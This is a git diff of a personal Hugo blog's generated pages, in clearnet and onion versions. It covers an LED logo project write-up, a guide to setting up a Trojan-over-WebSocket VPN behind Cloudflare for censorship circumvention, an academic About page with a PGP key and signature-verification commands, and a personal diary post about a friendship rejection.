    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/ws2812/page/1/index.html b/public-clearnet/tags/ws2812/page/1/index.html new file mode 100644 index 0000000..df6cebb --- /dev/null +++ b/public-clearnet/tags/ws2812/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/ws2812/ + \ No newline at end of file diff --git a/public-clearnet/tags/xray/index.html b/public-clearnet/tags/xray/index.html new file mode 100644 index 0000000..a43c524 --- /dev/null +++ b/public-clearnet/tags/xray/index.html @@ -0,0 +1,15 @@ +Xray | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/xray/index.xml b/public-clearnet/tags/xray/index.xml new file mode 100644 index 0000000..5af1522 --- /dev/null +++ b/public-clearnet/tags/xray/index.xml @@ -0,0 +1,176 @@ +Xray on AlipourIm journeyshttps://blog.alipour.eu/tags/xray/Recent content in Xray on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttps://blog.alipour.eu/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/xray/page/1/index.html b/public-clearnet/tags/xray/page/1/index.html new file mode 100644 index 0000000..20020bf --- /dev/null +++ b/public-clearnet/tags/xray/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/xray/ + \ No newline at end of file diff --git a/public-onion/404.html b/public-onion/404.html new file mode 100644 index 0000000..b001b73 --- /dev/null +++ b/public-onion/404.html @@ -0,0 +1,316 @@ + + + + + + + +404 Page not found | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    +
    404
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/about/_index.asc b/public-onion/about/_index.asc new file mode 100644 index 0000000..5a515a4 --- /dev/null +++ b/public-onion/about/_index.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBIYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qdUoP/3q3aLm3OHFW8Rz2dn9zSg5B +lq/civd92tKb+w7k6PGQLuVwfhtsFQ8m/E2CLaDhkTMEoky3XA0zeLIxd3OzZFNr +su2tylM+AeyGBR221YyS8TxL2Iu/V3B0kJ1S6a3ODcipmrqWdBRIypEAvGMZq225 +eSK0DeBS65ySFknHbdV5dxV32UdIVT36tH+cLn99Ib2NF+mvhUHG9V7yXEe6WW6u +XGlguDo3ui94sqTB+pmba4RIwcN6uq702qO8+4CMrc/45KwQJx7lYmc/Vr4Ppzdw +PQCJTS0YSqOr8BpyYdgf0eGPmzX6TvwMfNEsWCN6HQG/N8b52M99fqYvGL4v5FX6 +3WEHyvjDj6cpHa66G0MIj1pmSZeIg85CgUlE90P3dDHLHE3x0jfHNs6l+qUdK7zn +RNyi/mbfpML/7jb9ia87Voa1ZJ5BdgwKOHUPJ38Z1OGGqN88OvDlnavBTpvNz7KM +P1PGU8ePcwXHRvK80XRSVJTF9hY5Oh4EBCFCKIV5IGPb20XUrp42tVp7MQYneMay +79szGdJkSVGHJ5TA8X0BpAY2Ughf9pTyzEzvs/gwDre8njIHwk40w9HmCYHEHiJX +PvtFHXoKfMvNvZVw2LspxrQV0nyx71jx8cM9t+7sT4pZ6Ri5D8nsXqUuIkwJI97Y +xXQ91IQKCkLmHuk0fBvw +=4p3w +-----END PGP SIGNATURE----- diff --git a/public-onion/about/index.html b/public-onion/about/index.html new file mode 100644 index 0000000..46b3418 --- /dev/null +++ b/public-onion/about/index.html @@ -0,0 +1,600 @@ + + + + + + + +About | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + About +

    +
    + Iman Alipour — PhD candidate at MPI-INF. Human-centered security & privacy, usable security, and security measurement. Loves CTFs, hiking, coffee experiments, and making everyday gadgets smart. +
    +
    +
    + Iman Alipour + +
    +

    Hey, I’m Iman 👋

    +

    I’m a PhD candidate at the Max Planck Institute for Informatics (MPI-INF) in the Internet Architecture group. I’m broadly fascinated by how people actually experience security and privacy online—and how we can design systems that protect them without asking for expert knowledge. My current work explores how emerging and existing technologies shape everyday users’ privacy and threaten their security, and how usable defenses can make a real difference.

    +

    I finished my B.Sc. in Computer Engineering at Sharif University of Technology in 2024, where I explored a mix of Machine Learning, Systems, Security, HCI, CPS, and IoT. For my bachelor thesis, I studied client selection in federated learning and proposed a reinforcement-learning–based method that balances accuracy, efficiency, and fairness while considering data quality and energy consumption.

    +

    What I’m into (research)

    +
      +
    • Censorship Circumvention
    • +
    • Human-centered Security & Privacy
    • +
    • Usable Security
    • +
    • Security Measurement
    • +
    • Emerging technologies and their effects on user privacy
    • +
    +

    A few things I’ve worked on

    +
      +
    • Federated learning client selection (B.Sc. thesis): A reinforcement-learning approach to optimize accuracy, efficiency, and fairness; accounts for end-user data quality and aims to reduce energy use.
    • +
    • Security & privacy perceptions of messaging platforms in Iran: Investigated trust and distrust in local platforms, identified root causes, and contrasted Iranian vs. non-Iranian platforms.
    • +
    +

    Hobbies & off-screen life

    +

    When I’m not chasing down research questions, you’ll likely find me:

    +
      +
    • 🎧 Listening to music and 🧩 playing CTFs
    • +
    • 📰 Reading the news and keeping active—any sport is fair game
    • +
    • 🥾 Hiking and 🌄 sight-seeing
    • +
    • Experimenting with coffee and 🍳 cooking
    • +
    • 🎲 Playing board games
    • +
    • 🔧 Fiddling with electronics: making everyday tools smart and remotely controllable with micro-controllers, sensors, and actuators
    • +
    • 📚 Reading books and happily getting lost in math & physics problems
    • +
    +

    Quick timeline

    +
      +
    • Aug 2024 – present: PhD candidate, MPI-INF, Internet Architecture group (Saarbrücken, Germany)
    • +
    • Jun 2023 – Jul 2024: Volunteer remote Research Assistant, InSPIRe Lab, Duke University
    • +
    • Sep 2023 – Feb 2024: Volunteer Research Assistant, CPS Lab, Sharif University of Technology
    • +
    • Feb 2023 – Sep 2023: Volunteer Research Assistant, RADIAN Lab, Sharif University of Technology
    • +
    • Jul 2022 – Sep 2022: Summer Intern, Rasta Scientific Group
    • +
    +

    Teaching I’ve helped with

    +

    Advanced Programming (2021) · Probabilities & Statistics (2022) · Operating Systems (2023) · Embedded Systems (2023) · Computer Simulation (two offerings, 2023)

    +

    Honors

    +
      +
    • Silver medal, Paya Math & Physics League — Tehran, Iran (Sep 2017)
    • +
    • 2nd place, Water Rocket Design Competition — Isfahan’s Math House (Sep 2015)
    • +
    +

    Contact

    +

    Max-Planck-Institut für Informatik
    +Saarland Informatics Campus — Campus E1 4, 66123 Saarbrücken
    +Office: E1 4 – 514 · Phone: +49 681 9325 3548

    +
    + + +

    OpenPGP

    +

    Fingerprint: 55A2 A5DE 8479 2BAC C6CA EE3F B588 2850 E04C 8D2A

    +
    + Show ASCII-armored key +
    -----BEGIN PGP PUBLIC KEY BLOCK-----
    +
    +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
    +=mAs8
    +-----END PGP PUBLIC KEY BLOCK-----
    +
    +
    + +

    Verify a post

    +
      +
    1. Import my key once: +
      curl -O https://blog.alipourimjourneys.ir/keys/iman-alipour-pgp.asc
      +gpg --import iman-alipour-pgp.asc
      +
    2. +
    3. Download the post and its signature (each post links them): +
      curl -O https://blog.alipourimjourneys.ir/sources/posts/hello-world.md
      +curl -O https://blog.alipourimjourneys.ir/sources/posts/hello-world.md.asc
      +
    4. +
    5. Verify: +
      gpg --verify hello-world.md.asc hello-world.md
      +
    6. +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/about.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/about.md.asc
    +gpg --verify about.md.asc about.md
    +  
    +
    + + + + +
    + +
    + + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/about/index.xml b/public-onion/about/index.xml new file mode 100644 index 0000000..9e1dd2f --- /dev/null +++ b/public-onion/about/index.xml @@ -0,0 +1,11 @@ + + + + About on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/about/ + Recent content in About on AlipourIm journeys + Hugo -- 0.146.0 + en + + + diff --git a/public-onion/about/pfp.jpeg b/public-onion/about/pfp.jpeg new file mode 100644 index 0000000..6c5efa4 Binary files /dev/null and b/public-onion/about/pfp.jpeg differ diff --git a/public-onion/about/pfp.png b/public-onion/about/pfp.png new file mode 100644 index 0000000..e85e9e8 Binary files /dev/null and b/public-onion/about/pfp.png differ diff --git a/public-onion/android-chrome-192x192.png b/public-onion/android-chrome-192x192.png new file mode 100644 index 0000000..e9bedbe Binary files /dev/null and b/public-onion/android-chrome-192x192.png differ diff --git a/public-onion/android-chrome-512x512.png b/public-onion/android-chrome-512x512.png new file mode 100644 index 0000000..3254376 Binary files /dev/null and b/public-onion/android-chrome-512x512.png differ diff --git a/public-onion/apple-touch-icon.png b/public-onion/apple-touch-icon.png new file mode 100644 index 0000000..1b9d4cc Binary files /dev/null and b/public-onion/apple-touch-icon.png differ diff --git a/public-onion/archive/face_of_rejection/index.html b/public-onion/archive/face_of_rejection/index.html new file mode 100644 index 0000000..7fd12d0 --- /dev/null +++ b/public-onion/archive/face_of_rejection/index.html @@ -0,0 +1,615 @@ + + + + + + + +Face of Rejection | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Face of Rejection +

    + +
    +

    Now that I’ve had some time to process, I think it’s good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f*** our interactions were, they were not of any use for me. +Like what’s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother’s social cycle. +I don’t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm… ok, it still doesn’t make sense. +Let me think if I can say it better or not. +Ok, let’s say you this person X. +Imagine you interact with person X, talk to them, etc., but then that’s it, it is limited to “talking”. +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it’s fun for many many people, but me… +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don’t want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn’t seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn’t the case, but I’m too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.

    +

    Now the interesting part is my reaction. “Withdrawal”. +The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. +But this was strong. +I did not want to respond. +In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. +During my therappy though, I did open the message. +I went silent. +I tried to process. +The weight of that was heavy. +It became hard to talk. +Hard to reason. +It was just…. sad.

    +

    Going forward I know that the best way forward for me is to stop any communications with her. +It is sad, this losing of a friend, but let’s be honest, were we friends? +No. +Not my definition of friendship. +And honestly, this should be a hard line for me, I don’t care how you define friendship. +If it isn’t mutual, it isn’t good enough for me. +I need to be more dominant, and less scared. +My lines are my lines, and they are not to be negotiated with. +I need to remain strong, and just let go.

    +

    I just realized I did not even talk about what happened. +LMAO. +Long story short, there was this person who I knew for some time. +We used to exchange messages every once in a while. +I asked if we would be spending time together, or with each other’s social circle, which to be honest came out super wrong :)))))) +I wasn’t trying to ask her out. +I just wanted to be included in some of the social gatherings with her social circle. +To expand mine. +To get to see new people. +Call me an idiot, or whatever, but I didn’t know how to put this into words. +And I did not do it correctly it seems as I got “rejected”. +But as my friend says, “better a sad ending, than a never ending sadness”. +I wansn’t trying to ask her out, but my social skills are so bad that it came so so wrongly.

    +

